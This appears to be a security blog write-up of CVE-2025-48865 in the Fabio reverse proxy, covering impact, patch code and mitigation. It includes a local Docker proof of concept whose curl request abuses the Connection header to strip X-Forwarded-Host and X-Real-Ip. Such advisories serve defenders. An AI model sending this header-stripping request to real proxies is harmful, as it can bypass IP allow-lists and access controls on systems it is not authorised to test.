Web

CVE-2025-48865: Fabio's Vanishing Act - How a Crafty Connection Header Can Make Your Security Headers Disappear!

Robert Morgan

Robert Morgan

— 9 min read

TL;DR / Executive Summary

Heads up, Fabio users! A sneaky vulnerability, CVE-2025-48865, has been uncovered in Fabio, the fast, modern, zero-conf load balancing router. This flaw allows malicious HTTP clients to manipulate or even completely remove critical custom headers (like X-Forwarded-Host, X-Real-Ip) that Fabio adds before forwarding requests to your backend applications. The trick lies in abusing the HTTP Connection header to mark these normally trusted headers as "hop-by-hop," causing Fabio to strip them.

Affected are Fabio versions up to and including 1.6.5. The vulnerability can lead to serious security misconfigurations, such as access control bypasses, if your backend applications rely on these headers for security decisions. The severity is considered critical, similar to past vulnerabilities in Apache and Traefik. The good news? A patch is available in Fabio version 1.6.6. Upgrade immediately!

Introduction: The Trusty Proxy and the Treacherous Header

Picture this: you've got Fabio, your diligent traffic cop, expertly directing requests to your backend services. It helpfully adds little sticky notes (HTTP headers like X-Forwarded-For, X-Forwarded-Host) to each request, telling your backend where the request really came from, what host it was originally for, and so on. Your backend applications trust these notes implicitly. What could go wrong?

Well, enter CVE-2025-48865. This vulnerability turns Fabio's helpfulness into a potential security hole. It's like an attacker convincing the traffic cop to remove some of those crucial sticky notes before the message reaches its destination. If your backend relies on those notes for, say, IP whitelisting or determining user privileges, you might suddenly find uninvited guests in your digital living room.

This matters to anyone running Fabio as a reverse proxy or load balancer, especially if backend services use headers like X-Forwarded-Host or X-Real-Ip for security-sensitive logic. It's a reminder that even components designed to enhance security can, if flawed, become a vector for attack.

Technical Deep Dive: The "Hop-by-Hop" Header Heist

So, how does this magic trick work? The culprit is the Connection HTTP header and how Fabio processes "hop-by-hop" headers.

What are Hop-by-Hop Headers?

In the world of HTTP, headers are generally "end-to-end," meaning they are intended to be transmitted to the ultimate recipient of the request or response. However, some headers are "hop-by-hop." These are only meaningful for a single transport-level connection and are not to be forwarded by proxies. The standard hop-by-hop headers include Keep-Alive, Transfer-Encoding, TE, Connection, Trailer, Upgrade, and Proxy-Authorization.

The Connection header itself plays a crucial role here. It can list other header names that should also be treated as hop-by-hop for that specific connection. For example, Connection: close, X-Custom-Hop-Header tells the next hop (e.g., a proxy) to process X-Custom-Hop-Header and then remove it before forwarding the request.

The Root Cause in Fabio (CVE-2025-48865)

Fabio, like many proxies, adds important informational headers such as:

  • X-Forwarded-Host: The original host requested by the client.
  • X-Forwarded-Port: The original port requested by the client.
  • X-Forwarded-Proto: The original protocol (HTTP/HTTPS) used by the client.
  • X-Real-Ip: The client's IP address.
  • Forwarded: A more standardized header encompassing the above information.

These headers are intended to be end-to-end from Fabio's perspective (i.e., Fabio adds them, and the backend receives them). The vulnerability CVE-2025-48865 arises because Fabio, prior to version 1.6.6, didn't properly sanitize or protect these self-added headers from being declared as hop-by-hop by an incoming client request.

An attacker could send a request like this:

GET / HTTP/1.1
Host: your-app.com
Connection: keep-alive, X-Forwarded-Host, X-Real-Ip

When Fabio (versions <= 1.6.5) processed this request, it would see X-Forwarded-Host and X-Real-Ip in the Connection header. It would then dutifully add its own X-Forwarded-Host and X-Real-Ip headers, but then, because they were listed in the Connection header, it would remove them before forwarding the request to the backend. Oops!

Affected Headers:
The following headers, typically added by Fabio, could be stripped:

  • X-Forwarded-Host
  • X-Forwarded-Port
  • X-Forwarded-Proto
  • X-Real-Ip
  • Forwarded

Notably, X-Forwarded-For is often handled differently by Go's underlying HTTP libraries and might not be as easily stripped by this specific mechanism in all configurations, but the advisory confirms other critical X-Forwarded-* headers are vulnerable.

Attack Vectors and Business Impact

The impact depends heavily on how your backend applications use these headers:

  1. Access Control Bypass: If your application uses X-Real-Ip for IP-based whitelisting (e.g., allowing access to admin panels only from specific IPs), an attacker could strip this header. The application might then fail open (grant access) or fall back to checking the proxy's IP, which could be whitelisted for internal traffic, effectively bypassing the restriction. The Versa Concerto RCE case mentioned in the advisory is a prime example of how stripping X-Real-IP can lead to auth bypass.
  2. Cache Poisoning/Deception: If X-Forwarded-Host is used to generate absolute URLs or as part of a cache key, stripping or manipulating it could lead to users being served incorrect content or an attacker poisoning the cache.
  3. Security Feature Bypass: Applications might use X-Forwarded-Proto to enforce HTTPS. If an attacker can strip this, the application might mistakenly believe the connection is HTTP, potentially disabling security features like HSTS or secure cookies.
  4. Information Obfuscation: At a minimum, stripping these headers makes logs less useful and incident response harder.

The business impact can range from unauthorized data access and privilege escalation to full system compromise, depending on the backend's reliance on these headers. This is why similar vulnerabilities in Apache (CVE-2022-31813, CVSS 9.8) and Traefik (CVE-2024-45410, CVSS 9.3) received critical severity ratings.

Proof of Concept: Now You See It, Now You Don't!

Let's demonstrate this with a simplified setup, similar to the one provided in the advisory.

Setup:
We'll use Docker Compose with Fabio and a simple Python Flask backend that logs received headers.

  • docker-compose.yml:

    version: '3'
services:
  fabio:
    image: fabiolb/fabio:1.6.5 # Vulnerable version
    ports:
      - "3000:9999" # Fabio proxy port
      - "9998:9998" # Fabio UI
    volumes:
      - ./fabio.properties:/etc/fabio/fabio.properties

  backend:
    build: . # Assumes Dockerfile and app.py are in the current directory
    ports:
      - "8080:8080" # Expose for direct testing if needed, Fabio routes to this
    environment:
      - PYTHONUNBUFFERED=1

  • fabio.properties:

    proxy.addr = :9999
ui.addr = :9998
registry.backend = static
registry.static.routes = route add service / http://backend:8080/

  • Dockerfile (for the backend):

    FROM python:3.11-slim
WORKDIR /app
COPY app.py .
RUN pip install flask
EXPOSE 8080
CMD ["python", "app.py"]

  • app.py (Python Flask backend):

    from flask import Flask, request
import sys
import os

sys.stdout.flush() # Ensure logs are seen immediately in Docker
os.environ['PYTHONUNBUFFERED'] = '1'

app = Flask(__name__)

@app.before_request
def log_request_info():
    print("--- INCOMING REQUEST ---")
    print("HEADERS:")
    for header_name, header_value in request.headers:
        print(f"   {header_name}: {header_value}")
    print("------------------------")

@app.route("/", defaults={'path': ''})
@app.route("/<path:path>")
def catch_all(path):
    return f"Backend received request for path: /{path}. Check logs for headers."

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8080, debug=False)

1. Normal Request (Headers Intact):

Send a request through Fabio:

curl -i -H "Host: myapp.example.com" http://localhost:3000/test

Expected backend logs (simplified, some headers omitted for brevity):

--- INCOMING REQUEST ---
HEADERS:
   Host: myapp.example.com
   User-Agent: curl/7.74.0
   Accept: */*
   Forwarded: for=192.168.65.1; proto=http; by=172.18.0.3; httpproto=http/1.1  # IP might vary
   X-Forwarded-For: 192.168.65.1
   X-Forwarded-Host: myapp.example.com
   X-Forwarded-Port: 3000
   X-Forwarded-Proto: http
   X-Real-Ip: 192.168.65.1
------------------------

Notice Fabio correctly added X-Forwarded-Host, X-Real-Ip, etc.

2. Malicious Request (Headers Stripped):

Now, let's try to strip X-Forwarded-Host and X-Real-Ip:

curl -i -H "Host: myapp.example.com" \
         -H "Connection: keep-alive, X-Forwarded-Host, X-Real-Ip" \
         http://localhost:3000/test-strip

Expected backend logs with vulnerable Fabio (<=1.6.5):

--- INCOMING REQUEST ---
HEADERS:
   Host: myapp.example.com
   User-Agent: curl/7.74.0
   Accept: */*
   Forwarded: for=192.168.65.1; proto=http; by=172.18.0.3; httpproto=http/1.1
   X-Forwarded-For: 192.168.65.1
   # X-Forwarded-Host: IS MISSING!
   X-Forwarded-Port: 3000
   X-Forwarded-Proto: http
   # X-Real-Ip: IS MISSING!
------------------------

As you can see, X-Forwarded-Host and X-Real-Ip are gone! The backend application is now blind to the original host and client IP as intended by Fabio.

Mitigation and Remediation: Patch Up and Stay Vigilant!

Immediate Fixes:

  • Upgrade Fabio: The primary and most effective solution is to upgrade Fabio to version 1.6.6 or later. This version includes a patch that prevents this header stripping.

Patch Analysis (What Changed in Fabio 1.6.6?):
The fix, visible in commit fdaf1e966162e9dd3b347ffdd0647b39dc71a1a3 on GitHub, is quite clever. It happens in proxy/http_headers.go.

  1. A new map protectHeaders is introduced. This map explicitly lists the headers that Fabio manages and should not be strippable via the Connection header mechanism.
    // Theoretical example based on patch description
var protectHeaders = map[string]bool{
    "Forwarded":          true,
    "X-Forwarded-For":    true, // Though X-Forwarded-For has special handling by net/http/httputil.ReverseProxy
    "X-Forwarded-Host":   true,
    "X-Forwarded-Port":   true,
    "X-Forwarded-Proto":  true,
    "X-Forwarded-Prefix": true,
    "X-Real-Ip":          true,
}
  2. When processing an incoming request, Fabio now inspects the Connection header. It iterates through the header names listed in Connection.
  3. For each header name found, it checks if it's one of the protectHeaders (after canonicalizing the header name, e.g., x-forwarded-host becomes X-Forwarded-Host).
  4. It then reconstructs the Connection header to be passed along, but only with the header names that are not in the protectHeaders list.
    // Simplified logic illustration
var newConnectionValues []string
for _, connHeaderValue := range r.Header.Values("Connection") {
    parts := strings.Split(connHeaderValue, ",")
    for _, part := range parts {
        trimmedPart := strings.TrimSpace(part)
        canonicalPart := textproto.CanonicalMIMEHeaderKey(trimmedPart)
        if !protectHeaders[canonicalPart] {
            newConnectionValues = append(newConnectionValues, trimmedPart)
        }
    }
}
r.Header.Del("Connection")
if len(newConnectionValues) > 0 {
    r.Header.Set("Connection", strings.Join(newConnectionValues, ", "))
}

This way, even if an attacker sends Connection: X-Forwarded-Host, Fabio will effectively ignore X-Forwarded-Host in that list for its own hop-by-hop processing rules, ensuring the header it adds later isn't subsequently removed by this mechanism.

Long-Term Solutions & Best Practices:

  • Defense in Depth: Don't let your backend applications solely rely on proxy-added headers for critical security decisions without any other checks. Where possible, use stronger authentication and authorization mechanisms.
  • Web Application Firewall (WAF): A WAF might be configured to detect or block requests with suspicious Connection header manipulations, though this can be tricky to get right without causing false positives.
  • Regular Updates: Keep all your software, especially internet-facing components like load balancers, up to date.

Verification Steps:

  1. Upgrade Fabio to version 1.6.6 or later.
  2. Re-run the "Malicious Request" PoC from above.
  3. Check the backend logs. You should now see that X-Forwarded-Host and X-Real-Ip (and other protected headers) are present, even with the malicious Connection header in the client's request. Fabio 1.6.6 will preserve them.

Timeline of CVE-2025-48865

  • Discovery Date: Not publicly specified, likely early to mid-May 2025.
  • Vendor Notification: Implicitly through GitHub issue tracking or direct contribution leading to the fix.
  • Patch Availability: The fix was merged and included in Fabio version 1.6.6. The commit fdaf1e966162e9dd3b347ffdd0647b39dc71a1a3 addresses this.
  • Public Disclosure Date: May 28-29, 2025 (as per CVE and GitHub advisory publication).

"Behind the Scenes" Insight: This type of vulnerability, often called "HTTP Request Smuggling" or "Header Smuggling" (though this specific case is more "Header Stripping via Connection Abuse"), has a history. Similar issues have plagued other major proxies and web servers. It highlights the complexities of correctly implementing HTTP specifications, especially when dealing with chained proxies and client-controlled metadata like the Connection header. The discovery likely came from security researchers testing common proxy misconfiguration patterns.

Lessons Learned: Trust, But Sanitize!

  1. Prevention is Key:

    • Sanitize Proxy-Specific Headers: Proxies should be programmed to protect the integrity of the headers they add. They shouldn't allow clients to trivially remove or alter these critical pieces of information. The fix in Fabio 1.6.6 is a good example of this.
    • Assume Client Input is Hostile: Any part of an HTTP request controllable by the client (headers, body, URL) should be treated with suspicion until validated or sanitized.

  2. Detection Techniques:

    • Logging and Monitoring: Log all incoming headers at both the proxy and backend. Anomalous Connection headers (e.g., those listing X-Forwarded-* headers) could be flagged.
    • Behavioral Analysis: If an application suddenly starts seeing requests without expected headers like X-Real-Ip from behind a trusted proxy, it could be an indicator of compromise or misconfiguration.

  3. One Key Takeaway:
    The "Trusted Proxy" isn't always infallible. While reverse proxies add a layer of security and abstraction, they are still software and can have vulnerabilities. Backend applications should be designed with a degree of skepticism, even towards data purportedly added by a trusted upstream component, especially if that data is used for security decisions.

References and Further Reading

This vulnerability serves as a potent reminder: in the intricate dance of web protocols, even a seemingly innocuous header can be weaponized. So, patch your Fabio instances, review your backend logic, and stay secure!

What's the most "trusted" piece of information in your request pipeline that, if manipulated, would cause the biggest headache?

Read more